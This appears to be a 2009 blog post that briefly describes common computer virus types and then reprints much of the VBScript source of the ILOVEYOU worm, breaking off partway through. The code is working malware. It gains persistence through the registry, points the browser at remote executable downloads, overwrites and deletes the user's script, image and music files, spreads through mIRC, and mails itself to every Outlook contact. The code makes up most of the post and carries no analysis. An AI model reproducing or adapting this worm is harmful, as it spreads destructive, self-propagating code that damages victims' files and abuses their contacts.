Showing posts with label worm. Show all posts
Showing posts with label worm. Show all posts

Friday, April 17, 2009

Viruses

What is a Computer Virus ?
A potentially damaging computer programme capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.
Types of viruses :-

The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa
Worm

.

Coding of i love u worm

Coding of iloveu worm

The ILOVEYOU worm, also known as VBS/Loveletter and Love Bug worm, is a computer worm written in VBScript.

-------------------------------------------------------------------------

Description



The worm arrived in e-mail boxes on May 4, 2000, with the simple subject of "ILOVEYOU" and an attachment "LOVE-LETTER-FOR-YOU.TXT.vbs".



Two aspects of the worm made it effective:



* It relied on social engineering to entice users to open the e-mail and ensure its continued propagation.

* It employed a mechanism — VBScripts — that, while not entirely novel, had not been exploited to such a degree previously to direct attention to their potential, reducing the layers of protection that would have to be navigated for success.



here is the source code of one of the most famous virus the hits cyberspace

--------------------------------------------------------------------

rem barok -loveletter(vbe)

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /

Manila,Philippines

---------------------------------------------------------------------

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting

Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32

",dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Wi

n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet

Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX

.exe"

end if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFI

X",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start

Page","about:blank"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")

or (ext="hta") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if

if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or

(s="script.ini") or (s="mirc.hlp") then

set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")

scriptini.WriteLine "[script]"

scriptini.WriteLine ";mIRC Script"

scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,

if mIRC will"

scriptini.WriteLine " corrupt... WINDOWS will affect and will not run

correctly. thanks"

scriptini.WriteLine ";"

scriptini.WriteLine ";Khaled Mardam-Bey"

scriptini.WriteLine ";http://www.mirc.com"

scriptini.WriteLine ";"

scriptini.WriteLine "n0=on 1:JOIN:#:{"

scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"

scriptini.WriteLine "n2= /.dcc send $nick

"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini.WriteLine "n3=}"

scriptini.close

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("WScript.Shell")

regget=regedit.RegRead(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)

if (regv="") then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count

else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _

"
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _

"
good...@-@>"&vbcrlf& _

"
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ "&vbcrlf& _

"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _

"